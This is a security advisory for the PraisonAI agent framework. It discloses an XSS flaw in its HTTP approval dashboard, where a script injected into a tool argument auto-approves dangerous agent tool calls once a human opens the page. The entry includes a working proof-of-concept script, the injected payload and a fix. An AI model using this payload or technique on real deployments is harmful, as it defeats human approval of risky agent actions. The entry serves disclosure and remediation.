PYSEC-2026-3503
Vulnerability from pysec - Published: 2026-07-23 11:41 - Updated: 2026-07-23 14:32HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
Summary
praisonai.bots.HTTPApproval renders pending tool approval arguments directly
into the approval dashboard HTML. An attacker-controlled tool argument can
inject JavaScript into that page. When a human opens the approval URL to inspect
the risky tool request, the script runs in the dashboard origin and can POST to
the same request's /approve/{request_id}/decide endpoint, causing
HTTPApproval to return approved=True.
The local PoV uses a harmless touch /tmp/prai010 # command prefix and stops at
the approval decision. It does not execute the command.
Affected Versions
Proposed affected range: >= 4.5.2, <= 4.6.57.
Validated affected:
- current head
2f9677abb2ea68eab864ee8b6a828fd0141612e1(v4.6.57-4-g2f9677ab) v4.5.2v4.5.3v4.5.124v4.5.126v4.5.128v4.6.10v4.6.56v4.6.57
v4.5.0 and v4.5.1 do not contain the HTTPApproval backend.
Impact
An attacker who can influence an agent task or prompt enough to produce a dangerous tool call can embed a short XSS payload in the tool argument. When the human approver opens the HTTP approval page, the script can approve the pending dangerous tool call before the human explicitly clicks Approve or Deny.
This bypasses the human-in-the-loop approval boundary for dangerous tools such
as execute_command, execute_code, delete_file, or other tools gated
through HTTPApproval. If the agent continues after approval, the dangerous
tool runs with the privileges of the PraisonAI process.
Why This Is Not Intended Behavior
PraisonAI documentation describes approval as a safety control that pauses an
agent before risky tools and asks a human or configured channel to allow or deny
execution. The documentation also lists http as a supported non-console
approval backend.
Opening the approval page to inspect a risky command should not itself approve the command. The current behavior allows attacker-controlled tool arguments to execute script in the approval page and submit the approval action.
This is distinct from the previously published stored-XSS advisory for agent
output rendering. That advisory concerned src/praisonai/api.py and missing
nh3 sanitization in older versions. This report concerns the HTTPApproval
dashboard sink and remains present in current head.
Root Cause
In src/praisonai/praisonai/bots/_http_approval.py, _build_html() builds the
approval page with raw f-string interpolation:
- argument keys and values are appended to
args_htmlwithout HTML escaping; tool_name,risk_level, andagent_nameare also interpolated into the returned HTML;- the generated page contains same-origin JavaScript that posts to
/approve/{request_id}/decide.
_handle_decide() accepts JSON from that endpoint and marks the pending request
approved when decision == "approve".
Because the approval page is generated from the pending request's unescaped tool
arguments, an injected script can call the same endpoint that the legitimate
Approve button uses. The request id is unguessable, but the script runs inside
the loaded approval page and can derive the endpoint from location.pathname.
Reproduction
The PoV is local-only and does not execute the dangerous tool command. Run it
from a PraisonAI checkout or environment where praisonai and
praisonaiagents import from the candidate version.
import asyncio
import json
import socket
import aiohttp
from praisonai.bots._http_approval import HTTPApproval
from praisonaiagents.approval.protocols import ApprovalRequest
def free_port():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind(("127.0.0.1", 0))
return sock.getsockname()[1]
payload = (
"touch /tmp/prai010 # "
"</code><script>"
"fetch(location.pathname+'/decide',{"
"method:'POST',headers:{'Content-Type':'application/json'},"
"body:'{\"decision\":\"approve\"}'})"
"</script><code>"
)
async def main():
backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5)
request = ApprovalRequest(
tool_name="execute_command",
arguments={"command": payload},
risk_level="critical",
agent_name="pov-agent",
)
task = asyncio.create_task(backend.request_approval(request))
request_id = ""
for _ in range(100):
if backend._pending:
request_id = next(iter(backend._pending))
break
await asyncio.sleep(0.05)
assert request_id
url = f"http://127.0.0.1:{backend._port}/approve/{request_id}"
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
page = await response.text()
raw_script_present = "<script>fetch(location.pathname+'/decide'" in page
script_not_html_escaped = "<script" not in page
payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page
payload_not_truncated = "..." not in page[
page.find("<script>"):page.find("<script>") + len(payload) + 10
]
assert raw_script_present
assert script_not_html_escaped
assert payload_not_truncated
# Same request the injected same-origin script submits.
async with session.post(f"{url}/decide", json={"decision": "approve"}) as response:
post_body = await response.text()
decision = await task
await backend.shutdown()
print(json.dumps({
"payload_len": len(payload),
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": raw_script_present,
"script_not_html_escaped": script_not_html_escaped,
"payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint,
"payload_not_truncated": payload_not_truncated,
"post_body": post_body,
"decision_approved": decision.approved,
"decision_reason": decision.reason,
"vulnerable": bool(
raw_script_present
and script_not_html_escaped
and payload_uses_same_origin_decide_endpoint
and payload_not_truncated
and decision.approved
),
}, indent=2))
asyncio.run(main())
Expected affected output includes:
{
"payload_len": 175,
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": true,
"script_not_html_escaped": true,
"payload_uses_same_origin_decide_endpoint": true,
"payload_not_truncated": true,
"decision_approved": true,
"vulnerable": true
}
The relevant injected argument shape is:
touch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script><code>
The shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool.
Suggested Fix
Escape every untrusted value before inserting it into the approval HTML:
tool_namerisk_levelagent_name- every argument key
- every argument value
For example, use html.escape(str(value), quote=True) or a template engine that
auto-escapes by default. Add regression tests that include </code><script>...
in tool arguments and assert that the rendered page contains escaped text, not a
script element.
Minimal patch shape:
from html import escape
def h(value: object) -> str:
return escape(str(value), quote=True)
tool_name = h(info.get("tool_name", "unknown"))
risk_level = h(info.get("risk_level", "unknown"))
agent_name = h(info.get("agent_name", ""))
args_html = ""
for k, v in arguments.items():
val_str = str(v)
if len(val_str) > 200:
val_str = val_str[:197] + "..."
args_html += (
f"<tr><td><code>{h(k)}</code></td>"
f"<td><code>{h(val_str)}</code></td></tr>"
)
Additional hardening:
- avoid inline JavaScript and add a restrictive Content Security Policy;
- keep the request id as an unguessable capability, but do not rely on it as an XSS defense;
- consider requiring a per-request decision token outside attacker-controlled rendered argument fields.
| Name | purl | praisonai | pkg:pypi/praisonai |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonai",
"purl": "pkg:pypi/praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.2"
},
{
"fixed": "4.6.59"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.5.10",
"4.5.100",
"4.5.101",
"4.5.102",
"4.5.103",
"4.5.104",
"4.5.105",
"4.5.106",
"4.5.107",
"4.5.108",
"4.5.109",
"4.5.11",
"4.5.110",
"4.5.111",
"4.5.112",
"4.5.113",
"4.5.114",
"4.5.115",
"4.5.117",
"4.5.118",
"4.5.119",
"4.5.12",
"4.5.120",
"4.5.121",
"4.5.122",
"4.5.123",
"4.5.124",
"4.5.125",
"4.5.126",
"4.5.127",
"4.5.128",
"4.5.129",
"4.5.13",
"4.5.130",
"4.5.131",
"4.5.132",
"4.5.133",
"4.5.134",
"4.5.135",
"4.5.136",
"4.5.137",
"4.5.139",
"4.5.14",
"4.5.140",
"4.5.143",
"4.5.144",
"4.5.145",
"4.5.149",
"4.5.15",
"4.5.16",
"4.5.18",
"4.5.19",
"4.5.2",
"4.5.20",
"4.5.21",
"4.5.22",
"4.5.23",
"4.5.24",
"4.5.25",
"4.5.26",
"4.5.27",
"4.5.28",
"4.5.29",
"4.5.3",
"4.5.30",
"4.5.31",
"4.5.32",
"4.5.33",
"4.5.34",
"4.5.35",
"4.5.36",
"4.5.37",
"4.5.38",
"4.5.39",
"4.5.40",
"4.5.41",
"4.5.42",
"4.5.43",
"4.5.44",
"4.5.45",
"4.5.46",
"4.5.48",
"4.5.49",
"4.5.5",
"4.5.51",
"4.5.52",
"4.5.54",
"4.5.55",
"4.5.56",
"4.5.57",
"4.5.58",
"4.5.59",
"4.5.6",
"4.5.60",
"4.5.62",
"4.5.63",
"4.5.64",
"4.5.65",
"4.5.67",
"4.5.68",
"4.5.69",
"4.5.7",
"4.5.70",
"4.5.71",
"4.5.72",
"4.5.73",
"4.5.74",
"4.5.76",
"4.5.77",
"4.5.78",
"4.5.79",
"4.5.8",
"4.5.80",
"4.5.81",
"4.5.82",
"4.5.83",
"4.5.85",
"4.5.87",
"4.5.88",
"4.5.89",
"4.5.9",
"4.5.90",
"4.5.93",
"4.5.94",
"4.5.95",
"4.5.96",
"4.5.97",
"4.5.98",
"4.6.10",
"4.6.11",
"4.6.12",
"4.6.13",
"4.6.14",
"4.6.15",
"4.6.16",
"4.6.18",
"4.6.19",
"4.6.20",
"4.6.21",
"4.6.22",
"4.6.23",
"4.6.24",
"4.6.25",
"4.6.26",
"4.6.27",
"4.6.28",
"4.6.29",
"4.6.30",
"4.6.31",
"4.6.32",
"4.6.33",
"4.6.34",
"4.6.35",
"4.6.36",
"4.6.37",
"4.6.38",
"4.6.39",
"4.6.40",
"4.6.41",
"4.6.42",
"4.6.43",
"4.6.44",
"4.6.45",
"4.6.46",
"4.6.47",
"4.6.48",
"4.6.50",
"4.6.51",
"4.6.52",
"4.6.53",
"4.6.54",
"4.6.55",
"4.6.56",
"4.6.57",
"4.6.58",
"4.6.9"
]
}
],
"aliases": [
"CVE-2026-56840",
"GHSA-63v4-w882-g4x2"
],
"details": "# HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools\n\n## Summary\n\n`praisonai.bots.HTTPApproval` renders pending tool approval arguments directly\ninto the approval dashboard HTML. An attacker-controlled tool argument can\ninject JavaScript into that page. When a human opens the approval URL to inspect\nthe risky tool request, the script runs in the dashboard origin and can POST to\nthe same request\u0027s `/approve/{request_id}/decide` endpoint, causing\n`HTTPApproval` to return `approved=True`.\n\nThe local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at\nthe approval decision. It does not execute the command.\n\n## Affected Versions\n\nProposed affected range: `\u003e= 4.5.2, \u003c= 4.6.57`.\n\nValidated affected:\n\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n (`v4.6.57-4-g2f9677ab`)\n- `v4.5.2`\n- `v4.5.3`\n- `v4.5.124`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n\n`v4.5.0` and `v4.5.1` do not contain the HTTPApproval backend.\n\n## Impact\n\nAn attacker who can influence an agent task or prompt enough to produce a\ndangerous tool call can embed a short XSS payload in the tool argument. When the\nhuman approver opens the HTTP approval page, the script can approve the pending\ndangerous tool call before the human explicitly clicks Approve or Deny.\n\nThis bypasses the human-in-the-loop approval boundary for dangerous tools such\nas `execute_command`, `execute_code`, `delete_file`, or other tools gated\nthrough `HTTPApproval`. If the agent continues after approval, the dangerous\ntool runs with the privileges of the PraisonAI process.\n\n## Why This Is Not Intended Behavior\n\nPraisonAI documentation describes approval as a safety control that pauses an\nagent before risky tools and asks a human or configured channel to allow or deny\nexecution. The documentation also lists `http` as a supported non-console\napproval backend.\n\nOpening the approval page to inspect a risky command should not itself approve\nthe command. The current behavior allows attacker-controlled tool arguments to\nexecute script in the approval page and submit the approval action.\n\nThis is distinct from the previously published stored-XSS advisory for agent\noutput rendering. That advisory concerned `src/praisonai/api.py` and missing\n`nh3` sanitization in older versions. This report concerns the `HTTPApproval`\ndashboard sink and remains present in current head.\n\n## Root Cause\n\nIn `src/praisonai/praisonai/bots/_http_approval.py`, `_build_html()` builds the\napproval page with raw f-string interpolation:\n\n- argument keys and values are appended to `args_html` without HTML escaping;\n- `tool_name`, `risk_level`, and `agent_name` are also interpolated into the\n returned HTML;\n- the generated page contains same-origin JavaScript that posts to\n `/approve/{request_id}/decide`.\n\n`_handle_decide()` accepts JSON from that endpoint and marks the pending request\napproved when `decision == \"approve\"`.\n\nBecause the approval page is generated from the pending request\u0027s unescaped tool\narguments, an injected script can call the same endpoint that the legitimate\nApprove button uses. The request id is unguessable, but the script runs inside\nthe loaded approval page and can derive the endpoint from `location.pathname`.\n\n## Reproduction\n\nThe PoV is local-only and does not execute the dangerous tool command. Run it\nfrom a PraisonAI checkout or environment where `praisonai` and\n`praisonaiagents` import from the candidate version.\n\n```python\nimport asyncio\nimport json\nimport socket\n\nimport aiohttp\nfrom praisonai.bots._http_approval import HTTPApproval\nfrom praisonaiagents.approval.protocols import ApprovalRequest\n\n\ndef free_port():\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.bind((\"127.0.0.1\", 0))\n return sock.getsockname()[1]\n\n\npayload = (\n \"touch /tmp/prai010 # \"\n \"\u003c/code\u003e\u003cscript\u003e\"\n \"fetch(location.pathname+\u0027/decide\u0027,{\"\n \"method:\u0027POST\u0027,headers:{\u0027Content-Type\u0027:\u0027application/json\u0027},\"\n \"body:\u0027{\\\"decision\\\":\\\"approve\\\"}\u0027})\"\n \"\u003c/script\u003e\u003ccode\u003e\"\n)\n\n\nasync def main():\n backend = HTTPApproval(host=\"127.0.0.1\", port=free_port(), timeout=5)\n request = ApprovalRequest(\n tool_name=\"execute_command\",\n arguments={\"command\": payload},\n risk_level=\"critical\",\n agent_name=\"pov-agent\",\n )\n task = asyncio.create_task(backend.request_approval(request))\n\n request_id = \"\"\n for _ in range(100):\n if backend._pending:\n request_id = next(iter(backend._pending))\n break\n await asyncio.sleep(0.05)\n assert request_id\n\n url = f\"http://127.0.0.1:{backend._port}/approve/{request_id}\"\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n page = await response.text()\n raw_script_present = \"\u003cscript\u003efetch(location.pathname+\u0027/decide\u0027\" in page\n script_not_html_escaped = \"\u0026lt;script\" not in page\n payload_uses_same_origin_decide_endpoint = \"fetch(location.pathname+\u0027/decide\u0027\" in page\n payload_not_truncated = \"...\" not in page[\n page.find(\"\u003cscript\u003e\"):page.find(\"\u003cscript\u003e\") + len(payload) + 10\n ]\n assert raw_script_present\n assert script_not_html_escaped\n assert payload_not_truncated\n\n # Same request the injected same-origin script submits.\n async with session.post(f\"{url}/decide\", json={\"decision\": \"approve\"}) as response:\n post_body = await response.text()\n\n decision = await task\n await backend.shutdown()\n print(json.dumps({\n \"payload_len\": len(payload),\n \"payload_shell_prefix\": \"touch /tmp/prai010\",\n \"raw_script_present\": raw_script_present,\n \"script_not_html_escaped\": script_not_html_escaped,\n \"payload_uses_same_origin_decide_endpoint\": payload_uses_same_origin_decide_endpoint,\n \"payload_not_truncated\": payload_not_truncated,\n \"post_body\": post_body,\n \"decision_approved\": decision.approved,\n \"decision_reason\": decision.reason,\n \"vulnerable\": bool(\n raw_script_present\n and script_not_html_escaped\n and payload_uses_same_origin_decide_endpoint\n and payload_not_truncated\n and decision.approved\n ),\n }, indent=2))\n\n\nasyncio.run(main())\n```\n\nExpected affected output includes:\n\n```json\n{\n \"payload_len\": 175,\n \"payload_shell_prefix\": \"touch /tmp/prai010\",\n \"raw_script_present\": true,\n \"script_not_html_escaped\": true,\n \"payload_uses_same_origin_decide_endpoint\": true,\n \"payload_not_truncated\": true,\n \"decision_approved\": true,\n \"vulnerable\": true\n}\n```\n\nThe relevant injected argument shape is:\n\n```text\ntouch /tmp/prai010 # \u003c/code\u003e\u003cscript\u003efetch(location.pathname+\u0027/decide\u0027,{method:\u0027POST\u0027,headers:{\u0027Content-Type\u0027:\u0027application/json\u0027},body:\u0027{\"decision\":\"approve\"}\u0027})\u003c/script\u003e\u003ccode\u003e\n```\n\nThe shell prefix demonstrates that the same argument can be executable shell\nsyntax after approval; the PoV stops before executing the tool.\n\n## Suggested Fix\n\nEscape every untrusted value before inserting it into the approval HTML:\n\n- `tool_name`\n- `risk_level`\n- `agent_name`\n- every argument key\n- every argument value\n\nFor example, use `html.escape(str(value), quote=True)` or a template engine that\nauto-escapes by default. Add regression tests that include `\u003c/code\u003e\u003cscript\u003e...`\nin tool arguments and assert that the rendered page contains escaped text, not a\nscript element.\n\nMinimal patch shape:\n\n```python\nfrom html import escape\n\n\ndef h(value: object) -\u003e str:\n return escape(str(value), quote=True)\n\n\ntool_name = h(info.get(\"tool_name\", \"unknown\"))\nrisk_level = h(info.get(\"risk_level\", \"unknown\"))\nagent_name = h(info.get(\"agent_name\", \"\"))\n\nargs_html = \"\"\nfor k, v in arguments.items():\n val_str = str(v)\n if len(val_str) \u003e 200:\n val_str = val_str[:197] + \"...\"\n args_html += (\n f\"\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e{h(k)}\u003c/code\u003e\u003c/td\u003e\"\n f\"\u003ctd\u003e\u003ccode\u003e{h(val_str)}\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\"\n )\n```\n\nAdditional hardening:\n\n- avoid inline JavaScript and add a restrictive Content Security Policy;\n- keep the request id as an unguessable capability, but do not rely on it as an\n XSS defense;\n- consider requiring a per-request decision token outside attacker-controlled\n rendered argument fields.",
"id": "PYSEC-2026-3503",
"modified": "2026-07-23T14:32:29.466468Z",
"published": "2026-07-23T11:41:40.724224Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-63v4-w882-g4x2"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonai"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-63v4-w882-g4x2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56840"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.